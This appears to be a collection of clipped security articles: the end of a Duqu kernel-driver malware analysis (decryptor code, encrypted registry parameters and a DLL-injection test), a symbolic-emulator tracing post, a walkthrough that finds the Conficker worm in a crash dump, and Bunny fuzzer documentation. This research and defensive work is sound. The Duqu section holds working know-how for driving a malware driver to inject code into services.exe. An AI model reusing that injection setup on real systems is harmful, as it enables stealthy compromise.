in it so that my driver would know where to find your DLL, how to unpack it,
and where to inject it, then drop and load my driver, understood?"_.  
  
With this logic in mind, the functionality of the driver is encapsulated and
completely delimited from other components - the dropper only needs to drop a
DLL to inject, take care of the parameters to put into the registry, and then
load the driver. The driver will take care of the rest.  
  
The parameters that the dropper passes to the driver are stored in the
registry value with a name that is hard-coded into the driver body - this
value was already decoded above - it is called `FILTER`.  
  
The driver opens it with `ZwOpenKey()`, then queries its `FILTER` value with
`ZwQueryValueKey()` \(dynamically retrieved from the kernel image\), then
calls a decryptor in order to decode the parameters passed via that value. The
decryptor function is called with some input values: `EDX` pointing into the
encrypted content, `ESI` containing the content size, and `EAX` containing the
initial key value \(the seed\) of `0x59859a12`. During the decryption, the key
will change its value too, forming a simple multiplication rolling key scheme.  

[code]

      
    .text:00012520 sub_decrypt     proc near  
    .text:00012520         xor     eax, 0B86249A9h  
    .text:00012525         xor     ecx, ecx  
    .text:00012527         test    esi, esi  
    .text:00012529         jbe     short exit  
    .text:0001252B         push    ebx  
    .text:0001252C         push    edi  
    .text:0001252D         lea     ecx, [ecx+0]  
    .text:00012530 loop:  
    .text:00012530         xor     [ecx+edx], al  
    .text:00012533         mov     edi, eax  
    .text:00012535         and     edi, 0Bh  
    .text:00012538         shl     edi, 18h  
    .text:0001253B         shr     eax, 5  
    .text:0001253E         or      edi, eax  
    .text:00012540         and     edi, 1FFFFFFFh  
    .text:00012546         mov     eax, edi  
    .text:00012548         imul    edi, eax  
    .text:0001254B         mov     ebx, eax  
    .text:0001254D         imul    ebx, 0F64301Ah  
    .text:00012553         xor     edi, 395Ch  
    .text:00012559         lea     edi, [edi+ebx+0Dh]  
    .text:0001255D         add     ecx, 1  
    .text:00012560         xor     eax, edi  
    .text:00012562         cmp     ecx, esi  
    .text:00012564         jb      short loop  
    .text:00012566         pop     edi  
    .text:00012567         pop     ebx  
    .text:00012568 exit:  
    .text:00012568         retn  
    .text:00012568 sub_decrypt     endp  
    
[/code]

  
The initial content of the `FILTER` value is not known, as the driver was
found without a dropper. Nevertheless, calling `decrypt()` function above over
the same buffer reverts its content back into original state. Knowing that, it
is possible to construct a fake `FILTER` value for the driver that would
contain encrypted fake parameters. Next, the driver can be debugged to see how
it decrypts the parameters and how it then parses and uses them.  
  
For start, the decryption function can be replicated in a stand-alone tool,
using in-line Assembler, by copy-pasting the disassembled code above:  

[code]

      
    void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)  
    {  
         _asm  
         {  
              mov     edx, lpbyBuffer       /* restore input parameters */  
              mov     esi, dwSize           /* EDX is a buffer pointer, ESI - size */  
              mov     eax, dwSeed           /* EAX - initial key value (seed) */  
      
              xor     eax, 0B86249A9h  
              xor     ecx, ecx  
              test    esi, esi  
              jbe     short l_exit  
              push    ebx  
              push    edi  
              lea     ecx, [ecx+0]  
    l_loop:  
              xor     [ecx+edx], al  
              mov     edi, eax  
              and     edi, 0Bh  
              shl     edi, 18h  
              shr     eax, 5  
              or      edi, eax  
              and     edi, 1FFFFFFFh  
              mov     eax, edi  
              imul    edi, eax  
              mov     ebx, eax  
              imul    ebx, 0F64301Ah  
              xor     edi, 395Ch  
              lea     edi, [edi+ebx+0Dh]  
              add     ecx, 1  
              xor     eax, edi  
              cmp     ecx, esi  
              jb      short l_loop  
              pop     edi  
              pop     ebx  
    l_exit:  
         }  
    }  
    
[/code]

  
The same function can also be implemented in C++ as:  

[code]

      
    void Decrypt(DWORD dwSeed, LPBYTE lpbyBuffer, DWORD dwSize)  
    {  
         DWORD   dwKey;  
         DWORD   dwCount;  
         DWORD   dwTemp;  
      
         dwKey = dwSeed ^ 0xB86249A9;  
         dwCount = 0;  
      
         if (dwSize > 0)  
         {  
             do  
             {  
                 lpbyBuffer[dwCount++] ^= dwKey;  
                 dwTemp = ((dwKey >> 5) | ((dwKey & 0xB) << 24)) & 0x1FFFFFFF;  
                 dwKey = ((dwTemp * dwTemp ^ 0x395C) + 0xF64301A * dwTemp + 13) ^ dwTemp;  
             }  
             while (dwCount < dwSize);  
         }  
    }  
      
    
[/code]

  
Once implemented, the `Decrypt()` function can be called as:  

[code]

      
    void DecryptFile(DWORD dwSeed)  
    {  
        HANDLE         hFile;  
        HANDLE         hMap;  
        LPBYTE         lpbyBase;  
        DWORD          dwSize;  
      
        if ((hFile = CreateFile(L"FILE_NAME_TO_DECRYPT",   
                                GENERIC_READ | GENERIC_WRITE,   
                                0,   
                                NULL,   
                                OPEN_EXISTING,   
                                FILE_ATTRIBUTE_NORMAL,   
                                NULL)) != INVALID_HANDLE_VALUE)  
        {  
            if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&  
                ((hMap = CreateFileMapping(hFile,   
                                           NULL,   
                                           PAGE_READWRITE,   
                                           0,   
                                           0,   
                                           NULL)) != NULL))  
            {  
                if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap,   
                                                      FILE_MAP_ALL_ACCESS,   
                                                      0,   
                                                      0,   
                                                      0)) != NULL)  
                {  
                    Decrypt(dwSeed, lpbyBase, dwSize);  
                    UnmapViewOfFile(lpbyBase);  
                }  
                CloseHandle(hMap);  
            }  
            CloseHandle(hFile);  
        }  
    }  
    
[/code]

  
The unencrypted data from the registry is known from the previous Duqu
versions:  
  
`00 00 00 00 01 00 00 00 10 BB 00 00 01 00 03 00 ? ?» ? ?  
82 06 24 AE 1A 00 00 00 73 00 65 00 72 00 76 00 '?$R? s e r v  
69 00 63 00 65 00 73 00 2E 00 65 00 78 00 65 00 i c e s . e x e  
00 00 38 00 00 00 5C 00 53 00 79 00 73 00 74 00 8 \ S y s t  
65 00 6D 00 52 00 6F 00 6F 00 74 00 5C 00 69 00 e m R o o t \ i  
6E 00 66 00 5C 00 6E 00 65 00 74 00 70 00 31 00 n f \ n e t p 1  
39 00 31 00 2E 00 50 00 4E 00 46 00 00 00 D2 9 1 . P N F N`  
  
The dump above specifies the name of the DLL to inject
\(`\SystemRoot\inf\netp191.PNF`\), the name length \(`0x38`\), the process
name where DLL should be injected \(`services.exe`\) and its name length
\(`0x1A`\).  
  
The byte at the offset `14` indicates if the DLL file is encrypted or not. If
its value is `0x03`, the DLL is encrypted with the same encryption algorithm
as the parameters themselves, only the initial seed value for the key is
different - it is specified as `0xAE240682` at the offset `16`. The value of
`1` means the specified DLL is NOT encrypted \(or, yes\).  
  
Placing this dump into a separate file and calling the replicated function
`DecryptFile()` above by using the seed value of `0x59859a12` will produce an
encrypted dump. It is convenient to put those encrypted parameters into a REG
file as a text:  
  
`[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mcd9x86]  
"FILTER"=hex:bb,89,0d,99,2c,35,5d,bb,21,86,5d,d3,36,ad,3a,7d,89,17,95,87,af,91,b5,39,\  
ee,1d,5c,8d,0f,23,33,63,12,fb,bc,87,90,e7,1c,6b,c5,07,04,0b,c1,19,44,3d,\  
ed,47,3b,01,21,2d,11,53,f8,c1,f6,35,ae,9f,71,e1,ca,99,b0,af,9b,87,3a,e3,\  
08,83,79,e9,9b,9f,54,25,83,1f,07,9b,69,ed,41,6d,36,6b,ff,85,d5,71,82,71,\  
6a,73,ba,dd,a9,45,4b,e1,29,5b,6d,2d,4d,43,f9`  
  
Now it's time to check how Duqu driver loads the specified DLL `netp1091.PNF`
into `services.exe`.  
  
But first, let's compile a simple test DLL called `netp1091.PNF` with the code
below:  

[code]

      
    BOOL APIENTRY DllMain(HMODULE hModule,  
                          DWORD   ul_reason_for_call,  
                          LPVOID  lpReserved)  
    {  
        switch (ul_reason_for_call)  
        {  
            case DLL_PROCESS_ATTACH:  
                MessageBoxW(NULL,   
                            L"Test DLL was loaded successfully!",   
                            L"Attention",   
                            MB_OK);  
                break;  
            case DLL_THREAD_ATTACH:  
            case DLL_THREAD_DETACH:  
            case DLL_PROCESS_DETACH:  
                break;  
        }  
        return TRUE;  
    }  
    
[/code]

  
Once loaded, the DLL will only display the message box.  
  
The Duqu driver calls `PsSetLoadImageNotifyRoutine()` API to register a
callback function that is subsequently notified whenever an image is loaded.
Within that callback, Duqu will map the specified DLL into the specified
process. That means, that the test DLL above will only be mapped into
`services.exe` when `services.exe` process is started.  
  
Once compiled, the DLL above is encrypted by calling `DecryptFile()` provided
above and using the seed value of `0xAE240682` \(as specified in the
parameters stored in the registry value\).  
  
With a virtual machine fired up, the compiled and encrypted DLL file
`netp191.PNF` is saved into `c:\windows\inf` directory. The `REG` file above
is then imported with `REGEDIT` to place the encrypted parameters into the
value `FILTER`.  
  
Next, the driver is loaded - either with a stand-alone tool or by using Driver
Loader tool.  
  
Double-clicking `services.exe` invokes the driver's callback function
registered with `PsSetLoadImageNotifyRoutine()`, which will in turn decrypt
and then inject the DLL above into the address space of the process
`services.exe`:  
  
<img src='img/Temp2_10646.png' />  
  
Voilà\!

# Anatomy of a Symbolic Emulator, Part 1: Trace Generation « Sean Heelan's
Blog

**Created:**| _4/7/2012 11:01:33 AM_  
---|---  
**Updated:**| _4/7/2012 11:01:33 AM_  
**Author:**| __  
**Tags:**| _binary instrumentation symbolic exec_  
  

## Anatomy of a Symbolic Emulator, Part 1: Trace Generation

March 23, 2012 by seanhn

A couple of months ago there was an ACM article on the SAGE whitebox fuzzing
system from Microsoft Research. SAGE is one of the most interesting products
of research on automated program testing in recent years and, according to
Microsoft, has been used to find a massive amount of bugs in their various
file parsers.

At its core, SAGE contains a symbolic emulator for executing instruction
traces over symbolic data. As well as whitebox fuzzing, symbolic emulators are
fairly useful things for a variety of reverse engineering, vulnerability
discovery and program analysis tasks. Essentially, a symbolic emulator is a
CPU emulator that not only supports operations on concrete numeric values but
also on abstract values that may represent a range of concrete values.

In this series of posts I’m going to give an overview of a Python-based
symbolic emulator for x86 that I’ve been working on \(called JESTER\) and show
how it can be applied to the problem of whitebox fuzzing. Hopefully this will
give an idea of how symbolic emulation works \(it’s fairly simple\) and also
provide some insight into how systems like SAGE operate.

Consider the x86 instruction `add eax, ebx`. Operating over concrete values an
emulator will do the obvious thing of taking the value in EAX, adding it to
EBX and then storing the result back in EAX. It will also update the various
flags that are affected. Over symbolic values however the result is a bit more
interesting. Lets assume that EAX contains the abstract value V1 which
represents an unconstrained 32-bit variable, and EBX contains the concrete
value 0×10. In this case the emulator will create a new abstract value V2
which represents the addition of V1 and 0×10 and store that back in EAX.
Diagrammatically, we can see that EAX now contains something that is a
function rather than a single value.

[code]

          v1   10
           \   /
        EAX: +
    
[/code]

A slightly more complex diagram shows what the Zero Flag would hold after the
above instruction.

[code]

          v1   10
           \   /
             +    0
              \  /
               ==   1    0
                \   |   /
            ZF: if-then-else
    
[/code]

I purposefully used the word ‘function’ because what we end up with, in
registers and memory, are expression trees that map from a given set of inputs
to an output. As more instructions are emulated these trees get bigger and
more difficult to reason about so people usually take the approach of
exporting them to a SMT solver and querying their models that way. The obvious
applications being input crafting, tracking user-influenced data and checking
security properties. This is fairly well documented in previous posts and in a
decade worth of academic literature so I won’t delve into the details.

The point of this post is instead to look at the overall architecture of a
symbolic emulator with the aim of illuminating some of the components
involved, more directly than is typically done in formal descriptions. I also
want to give people an idea of how much or how little effort is involved in
building these tools. In order to demonstrate the use of a symbolic emulator
I’ll apply it to the problem of whitebox fuzzing i.e. using a symbolic
emulator in combination with a SMT solver to generate inputs for a program
guaranteed to force execution down a new path.

_While writing this series of posts Rolf Rolles posted a greatvideo/blog entry
on the topic of input crafting using an SMT solver. Taking a leaf out of his
book I’ve decided to accompany these with a video that demonstrates the tools
described in operation and should ideally give some insight into their
construction. The video is linked at the end but the following wall of text
will give some context and might be worth glancing over. This isn’t the most
entertaining of entries in the series and is mostly for completeness so if
you’re bored out of your mind I accept minimal responsibility =\)_

**1\. Trace generation**

An emulator needs some way to know what instructions execute and it also needs
a starting memory and thread context. There are a few different approaches to
getting such information. The Bitblaze/BAP research groups modified Qemu and
hook in directly there, the guys working on S2E do something similar and I
previously wrote a C++ library that was used as part of a Pintool at run time.
There are a couple of problems with tying your emulation directly into the run
time environment of the tool however. Firstly, it’s a lot more annoying to
debug an extension to Qemu or PIN than n separate emulator and secondly, it
prevents you from doing the emulation on a separate machine to the tracing.
The second issue is probably the most important in the long run as to really
scale whitebox fuzzing to the point where it is useful requires parallelism.

The approach I took this time around is directly inspired by the work of MSR
on their Nirvana/iDNA tool, but much more simplistic. Instead of using the
Pintool to do the emulation I use a lightweight one to just trace the
instructions executed and other interesting events, like image loads/unloads,
system calls and debugging info. If you’ve used PIN before then most of what
I’m about to describe will be obvious and fairly boring so you might want to
skip on to part 2 of this series of entries.

The trace format is uncompressed and unoptimised and to date I’ve not had any
problems with that. A typical segment just looks as follows \(`L` denotes an
image load, `I` an instruction execution and `C` provides debugging
information as discussed below\):

[code]

    L;4;/lib32/libc.so.6;f5c54000;157244
    L;5;/lib32/libm.so.6;f5c2e000;24790
    C;0;EAX:ffb292a4;EBX:f5da9ff4;ECX:53f78923;EDX:5;ESP:ffb291f8;EBP:ffb291f8 ...
    I;0;8048fc5
    C;0;EAX:ffb292a4;EBX:f5da9ff4;ECX:53f78923;EDX:5;ESP:ffb291f0;EBP:ffb291f8 ...
    I;0;8048fc8
    C;0;EAX:ffb292a4;EBX:f5da9ff4;ECX:53f78923;EDX:5;ESP:ffb291ec;EBP:ffb291f8 ...
    
[/code]

In the early stages of the project I worried about this and thought I’d have
to come up with some compression method but that hasn’t been the case. Most
file parsers generate traces that can be measured in 10s of millions of
instructions and things of that scale easily fit in a few gigabytes of
storage.

**1.1 Debugging Assistance**

Writing an emulator of any kind can be tedious work. It’s easy to make
mistakes and get the semantics of an instruction slightly wrong or set a flag
incorrectly. Initially I tried to counter this by writing unit-tests but it
quickly became obvious that 1\) These were never going to be exhaustive and
2\) They were as likely to have mistakes as the emulator code itself. Instead,
I added a debug mode to the tracer that logs the register values after each
instruction \(The lines starting with a “C” above\). This then allows the
emulator to compare its register values to the ones we know it should have and
highlight any discrepancies. Tracing everything in `/usr/bin/` and checking
these values is a hell of a lot more exhaustive than any unit-testing I would
have done\! The only reason I’m mentioning this is that I’d recommend it to
anyone writing something of this nature. The best tests are by far those you
can extract from real binaries.

**1.2 Handling system calls**

One of the disadvantages of using a user-land tracer is that you miss out on
any updates to memory that happens within the kernel. The only real way to
handle this correctly is to define per-system-call handlers that know which
memory addresses a system call will update based on its arguments or return
value. In PIN this is fairly straightforward, you register a syscall entry and
exit handler, get the syscall args or return value and then log whatever you
need on exit.

[code]

    int main(int argc, char *argv[])
    {
            ...
    
            PIN_AddSyscallEntryFunction(SyscallEntry, 0);
    
            ...
    }
    
    VOID SyscallEntry(THREADID tid, CONTEXT *ctxt, SYSCALL_STANDARD std, VOID *v)
    {
            ADDRINT syscall_num = PIN_GetSyscallNumber(ctxt, std);
            ...
    #ifdef LINUX
            // Handle Linux syscalls
            switch (syscall_num) {
            case SYS_READ:
            {
                    ADDRINT read_buf_ptr = PIN_GetSyscallArgument(ctxt, std, 1);
                    size_t read_sz = PIN_GetSyscallArgument(ctxt, std, 2);
    
                    t_data->log_addrs[read_buf_ptr] = read_sz;
                    break;
            }
            ...
    }
    
[/code]

Handling each and every system call might seem like an onerous task but if
you’re working on particular types of software \(e.g. file parsers\) then you
can get away with a minimal subset e.g. open, read, lseek, mmap and a few
others. My general approach is to just add them as necessary. You’ll encounter
many more along the way but it turns out not a whole lot end up having any
interaction with the user controlled data you’re interested in.

In the trace log format I included support for events other than those shown
in the above snippet.\). For syscalls as just discussed there is the M event
which looks like as follows and tells the emulator to update the memory
address given with the contents of a file.

[code]

    M;0;f5f97000:syscall_c0_f5f97000_1000_1
    
[/code]

There is also the ‘R’ event which tells the emulator to update a register with
a particular value. This is useful for instructions you can’t handle for
whatever reason. Other than that there isn’t really anything to capturing a
trace. The only thing I haven’t mentioned is that on starting tracing, either
at a given address or the programs entry point, you also need to log the
programs memory and thread contexts at that point in order to give your
emulator starting values. This is fairly straightforward though and PIN
provides all the required API calls.

_\(You probably want to click the “Watch on YouTube” option on the bottom
right of the video and set the quality to 720p. The tools discussed are not
publicly available but that may change in the future.\)_

# Hunting for Bugs, but Found a Worm - Ntdebugging Blog - Site Home - MSDN
Blogs

**Created:**| _1/7/2011 9:30:33 PM_  
---|---  
**Updated:**| _1/7/2011 9:30:54 PM_  
**Author:**| __  
**Tags:**| _Debugging Malware-analysis LOLZ bughunting_  
  

### Hunting for Bugs, but Found a Worm

Hi All, my name is Ron Riddle and I’m an Escalation Engineer on the core
Windows team. I worked an issue recently wherein a svchost.exe was crashing
due to heap corruption; so, after enabling Page Heap and breaking out the
services as needed, I received a user-mode dump that would show me the
culprit. I was expecting to find a legitimate bug either in our code or a
third-party module; but, much to my surprise, I found that malware had caused
a buffer overrun and the subsequent crash. With that, I would like to share
the simple approach I took in identifying the malware within the dump file.  

1\. I start by dumping out the offending call stack. Notice that the debugger
wasn’t able to map the code addresses to a loaded or unloaded module.

0:003> kbn

\# ChildEBP RetAddr  Args to Child

WARNING: Frame IP not in any known module. Following frames may be wrong.

00 02bcfdcc 7c81a35f 02b7ae40 7c81a3ab 00000004 0x2b685b0

01 02bcfde4 02b68bfe 02b7ae40 00000000 77e424ee
ntdll\!LdrpCallInitRoutine+0x21

02 02bcfde8 02b7ae40 00000000 77e424ee 02b7ae10 0x2b68bfe

03 02bcfdec 00000000 77e424ee 02b7ae10 00000000 0x2b7ae40

2\. Next, I try to learn more about the mystery address, such as what larger
allocation it was a part of.

0:003> \!address 0x2b685b0

Usage: <unclassified>

Allocation Base: 02b60000

Base Address: 02b61000

End Address: 02b81000

Region Size: 00020000

Type: 00020000 MEM\_PRIVATE

State: 00001000 MEM\_COMMIT

Protect: 00000040 PAGE\_EXECUTE\_READWRITE

3\. By now, I am suspicious of a rogue module, so I proceed in searching the
aforementioned address range for a DOS Signature\(i.e. 0x5A4D or “MZ”\) that I
know any Portable Executable file must contain. I start with the _Base
Address_ from the above output and use the _Region Size_ to specify my range.

0:003> s -a 02b61000 l20000/4 "MZ"

02b615d8 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............

02b61bd0 4d 5a 75 f4 5f 83 c4 08-c2 04 00 55 8d 44 24 0c MZu.\_......U.D$.

02b67cd0 4d 5a 0f 85 69 01 00 00-8b 4d 7c 8b 46 3c 81 c1 MZ..i....M|.F<..

02b681bf 4d 5a 74 07 33 c0 e9 c9-01 00 00 8b 45 0c 56 8b MZt.3.......E.V.

4\. Now that I have some hits, I’ll start with the first one and verify
whether it’s a valid module. Bingo\!

0:003> \!dh -a 02b615d8

File Type: DLL

FILE HEADER VALUES

14C machine \(i386\)

5 number of sections

37304740 time date stamp Wed May 05 08:27:28 1999

0 file pointer to symbol table

0 number of symbols

E0 size of optional header

2102 characteristics

Executable

32 bit word machine

DLL

OPTIONAL HEADER VALUES

10B magic \#

7.00 linker version

600 size of code

600 size of initialized data

0 size of uninitialized data

10B0 address of entry point

1000 base of code

\----- new -----

10000000 image base

1000 section alignment

200 file alignment

1 subsystem \(Native\)

4.00 operating system version

0.00 image version

4.00 subsystem version

6000 size of image

400 size of headers

41AE checksum

00100000 size of stack reserve

00001000 size of stack commit

00100000 size of heap reserve

00001000 size of heap commit

0 DLL characteristics

0 \[ 0\] address \[size\] of Export Directory

4000 \[ 28\] address \[size\] of Import Directory

0 \[ 0\] address \[size\] of Resource Directory

0 \[ 0\] address \[size\] of Exception Directory

0 \[ 0\] address \[size\] of Security Directory

5000 \[ 4C\] address \[size\] of Base Relocation Directory

0 \[ 0\] address \[size\] of Debug Directory

0 \[ 0\] address \[size\] of Description Directory

0 \[ 0\] address \[size\] of Special Directory

0 \[ 0\] address \[size\] of Thread Storage Directory

0 \[ 0\] address \[size\] of Load Configuration Directory

0 \[ 0\] address \[size\] of Bound Import Directory

2000 \[ 44\] address \[size\] of Import Address Table Directory

0 \[ 0\] address \[size\] of Delay Import Directory

0 \[ 0\] address \[size\] of COR20 Header Directory

0 \[ 0\] address \[size\] of Reserved Directory

SECTION HEADER \#1

.text name

3CC virtual size

1000 virtual address

400 size of raw data

400 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

68000020 flags

Code

Not Paged

\(no align specified\)

Execute Read

SECTION HEADER \#2

.rdata name

68 virtual size

2000 virtual address

200 size of raw data

800 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

48000040 flags

Initialized Data

Not Paged

\(no align specified\)

Read Only

SECTION HEADER \#3

.data name

56 virtual size

3000 virtual address

200 size of raw data

A00 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

C8000040 flags

Initialized Data

Not Paged

\(no align specified\)

Read Write

SECTION HEADER \#4

INIT name

1D4 virtual size

4000 virtual address

200 size of raw data

C00 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

E2000020 flags

Code

Discardable

\(no align specified\)

Execute Read Write

SECTION HEADER \#5

.reloc name

82 virtual size

5000 virtual address

200 size of raw data

E00 file pointer to raw data

0 file pointer to relocation table

0 file pointer to line numbers

0 number of relocations

0 number of line numbers

42000040 flags

Initialized Data

Discardable

\(no align specified\)

Read Only

5\. Because I’m not sure which sections might contain identifying
characteristics, I decide to go spelunking through all the sections \(except
for the relocation section\) looking for said characteristics that might help
me to identify the rogue module. I start with the relative virtual address of
the .text section @ 0x1000 and continue through the INIT section @ 0x4000.

0:003> dc 02b615d8+0x1000 l4000/4

…

02b63c58 00000065 646c6977 73737265 72756365 e...wilderssecur

02b63c68 00797469 65726874 78657461 74726570 ity.threatexpert

02b63c78 00000000 74736163 6f63656c 00007370 ....castlecops..

02b63c88 6d617073 73756168 00000000 65737063 spamhaus....cpse

02b63c98 65727563 00000000 61637261 00746962 cure....arcabit.

02b63ca8 69736d65 74666f73 00000000 626e7573 emsisoft....sunb

02b63cb8 00746c65 75636573 6f636572 7475706d elt.securecomput

02b63cc8 00676e69 69736972 0000676e 76657270 ing.rising..prev

02b63cd8 00000078 6f746370 00736c6f 6d726f6e x...pctools.norm

02b63ce8 00006e61 6f63376b 7475706d 00676e69 an..k7computing.

02b63cf8 72616b69 00007375 72756168 00000069 ikarus..hauri...

02b63d08 6b636168 74666f73 00000000 74616467 hacksoft....gdat

02b63d18 00000061 74726f66 74656e69 00000000 a...fortinet....

02b63d28 64697765 0000006f 6d616c63 00007661 ewido...clamav..

02b63d38 6f6d6f63 00006f64 63697571 6165686b comodo..quickhea

02b63d48 0000006c 72697661 00000061 73617661 l...avira...avas

02b63d58 00000074 66617365 00000065 6c6e6861 t...esafe...ahnl

02b63d68 00006261 746e6563 636c6172 616d6d6f ab..centralcomma

02b63d78 0000646e 65777264 00000062 73697267 nd..drweb...gris

02b63d88 0074666f 74657365 00000000 33646f6e oft.eset....nod3

02b63d98 00000032 72702d66 0000746f 74746f6a 2...f-prot..jott

02b63da8 00000069 7073616b 6b737265 00000079 i...kaspersky...

02b63db8 65732d66 65727563 00000000 706d6f63 f-secure....comp

02b63dc8 72657475 6f737361 74616963 00007365 uterassociates..

02b63dd8 7774656e 616b726f 636f7373 65746169 networkassociate

02b63de8 00000073 75727465 00007473 646e6170 s...etrust..pand

02b63df8 00000061 68706f73 0000736f 6e657274 a...sophos..tren

02b63e08 63696d64 00006f72 6661636d 00006565 dmicro..mcafee..

02b63e18 74726f6e 00006e6f 616d7973 6365746e norton..symantec

02b63e28 00000000 7263696d 666f736f 00000074 ....microsoft...

02b63e38 65666564 7265646e 00000000 746f6f72 defender....root

02b63e48 0074696b 776c616d 00657261 77797073 kit.malware.spyw

02b63e58 00657261 75726976 00000073 304ce942 are.virus...B.L0

…

02b64348 54464f53 45524157 63694d5c 6f736f72 SOFTWARE\Microso

02b64358 575c7466 6f646e69 435c7377 65727275 ft\Windows\Curre

02b64368 6556746e 6f697372 78655c6e 726f6c70 ntVersion\explor

02b64378 415c7265 6e617664 5c646563 646c6f46 er\Advanced\Fold

02b64388 485c7265 65646469 48535c6e 4c41574f er\Hidden\SHOWAL

02b64398 0000004c 63656843 5664656b 65756c61 L...CheckedValue

…

02b63ee8 ffffffff 02b6a44f 02b6a453 70747468 ....O...S...http

02b63ef8 772f2f3a 672e7777 796d7465 6f2e7069 ://www.getmyip.o

02b63f08 00006772 70747468 772f2f3a 772e7777 rg..http://www.w

02b63f18 73746168 7069796d 72646461 2e737365 hatsmyipaddress.

02b63f28 006d6f63 70747468 772f2f3a 772e7777 com.http://www.w

02b63f38 69746168 69796d73 726f2e70 00000067 hatismyip.org...

02b63f48 70747468 632f2f3a 6b636568 642e7069 http://checkip.d

02b63f58 6e646e79 726f2e73 00000067 61207069 yndns.org...ip a

02b63f68 65726464 00007373 ffffffff 02b6a55e ddress......^...

…

02b64858 00000020 74666f53 65726177 63694d5c ...Software\Mic

02b64868 6f736f72 575c7466 6f646e69 435c7377 rosoft\Windows\C

02b64878 65727275 6556746e 6f697372 75525c6e urrentVersion\Ru

02b64888 0000006e 646e7572 32336c6c 6578652e n...rundll32.exe

02b64898 73252220 73252c22 00000000 0065006e "%s",%s....n.e.

02b648a8 00730074 00630076 00000073 00000020 t.s.v.c.s... ...

6\. The list of anti-malware software vendors was a dead give-away that I was
dealing with malware. Finally, I conducted a Bing search using various
artifacts from the preceding spew. In the end, I was able to confirm that the
rogue module was, in fact, the Conficker worm by simply running a full scan of
the system using a signature-based scanner.

I hope this walk-through provided you with techniques that you can leverage to
identify rogue modules within your dump files, should that become necessary.
Until next time, happy bug-hunting and watch out for the worms\!

# BunnyDoc - bunny-the-fuzzer - Project documentation - instrumented C code
security fuzzer - Google Project Hosting

**Created:**| _9/3/2011 2:52:08 PM_  
---|---  
**Updated:**| _9/3/2011 2:52:08 PM_  
**Author:**| __  
**Tags:**| _code-review cloud computing_  
  

# Bunny the Fuzzer

  * Written and maintained by Michal Zalewski <lcamtuf@google.com>. 
  * Copyright 2007 Google Inc, rights reserved. 
  * Released under terms and conditions of the Apache License, version 2.0. 

## What is this?

Bunny is a closed loop \(feedback driven\), high-performance, general purpose
protocol-blind fuzzer for C programs \(though in principle easily portable to
any other imperative procedural language\).

The novelty of this tool arises from its use of compiler-level integration to
seamlessly inject precise and reliable instrumentation hooks into the traced
program. These hooks enable the fuzzer to receive real-time feedback on
changes to the function call path, call parameters, and return values in
response to variations in the input data.

This architecture makes it possible \(and quite simple\!\) to significantly
improve the coverage of the testing process without a noticeable performance
impact usually associated with other attempts to peek into run-time internals.

## Why bother?

Traditional fuzzing offers a very shallow code penetration for non-trivial
applications and input formats. If a file of a hundred bytes or so needs to
have three bits flipped to a particular value to reach a vulnerable function,
the likelihood of this being stumbled upon by a regular fuzzer is negligible.

To work around this problem, specialized fuzzers are devised to properly
handle specifics of the tested protocol, and focus on known tricky inputs.
Unfortunately, this approach is time-consuming, and initial assumptions made
by the operator may artificially limit test coverage.

"Smart" fuzzers that observe changes in the execution of a process in response
to changes to the input data should in theory be able to overcome many of
these limitations. Unfortunately, most designs proposed to date attempted to
instrument run-time disassembly, trace applications step-by-step, or take
similar expensive routes, suffering a massive performance blow that
effectively canceled out any efficiency gain.

Bunny tries to approach the challenge from a slightly different angle, and
injects scalable, high-performance probes during precompilation stage. This
results in several key advantages:

  * The approach does not feature a steep setup or learning curve. There is no training or protocol knowledge necessary; any project can be automatically instrumented with a drop-in replacement for GCC, and is immediately ready for testing: 

[code]

          CC=/path/to/bunny-gcc ./configure  
          make
[/code]

  * There is no significant performance penalty involved. Core fuzzing components are designed for highest speed, and feature cyclic SHM output buffers with userland spinlocks, keep-alive architecture, and syscall overhead limited to bare minimum. The instrumentation is injected in key HLL control points, limiting the amount of data to be analyzed. On a typical dual-core P4 desktop, fuzzing of a small utility peaks at 3600 execs/second, compared to 4000 for a dummy loop. 

  * Both small and large real-life components can be instrumented and tested alike. From zlib to libpng to OpenSSH, there is no need to alter the build and testing process. 

  * Fine-grained configuration and easy automation. The fuzzer implements 9 neat fuzzing strategies and offers detailed controls over their behavior, fuzzing depth, and the like. It features automated crash case sorting and annotation and random-run scenarios for unattended, massively parallel setups. 

Smart features aside, Bunny is a good "classic" fuzzing application, too -
with network output support and a number of fairly comprehensive fault
injection strategies, it can be used to attack non-instrumented applications
as well.

## You mentioned prior work, eh?

Yes; several other folks toyed with the idea in the past and released papers
on this topic - most notably:

  * Automated Whitebox Fuzz Testing by Godefroid, Levin, Molnar 
  * A Smart Fuzzer for x86 Executables by Lanzi, Martignoni, Monga, Paleari 

These designs are difficult to independently evaluate, as they remain non-
public, but generally employ assembly-level instrumentation, which would
appear to provide output of lower analytic quality.

A related public work at Google is _Flayer_ by Will Drewry and Tavis Omandy -
a Valgrind-based tool that can be used to reach potentially vulnerable code,
then work your way up to figure out what inputs get you there:

  * Information flow tracing and software testing

## 4\. So how does it work, exactly?

On a high level, the algorithm is remarkably simple:

  1. Seed fuzzing queue with a known good input file. 
  2. Attempt several deterministic, sequential fuzzing strategies for subsequent regions in the input file, as well as for regions that are known to affect execution paths based on previously recorded data. 
  3. If any change resulted in a never previously observed execution path, store the input that triggered it and queue it for further testing. 
  4. If any change resulted in an interesting change in any function call parameter or return value within a known execution path \(for example, we now have -3 where we had 7 previously\), store and queue the input. 
  5. If program fault is sensed for any input \(crash, hang, etc\), record this event and make copy of the offending input data. 
  6. When done, fetch next input to be tested from queue, go to 2. 

Bunny implements a total of 9 fuzzing stages:

  1. Fully random fuzzing of known execution path effectors 
  2. Deterministic, walking bit flip of variable length 
  3. Deterministic, walking value set operation of variable length 
  4. Walking random value set of variable length 
  5. Deterministic, walking block deletion of variable length 
  6. Deterministic, walking block overwrite of variable length 
  7. Deterministic, walking block duplication of variable length 
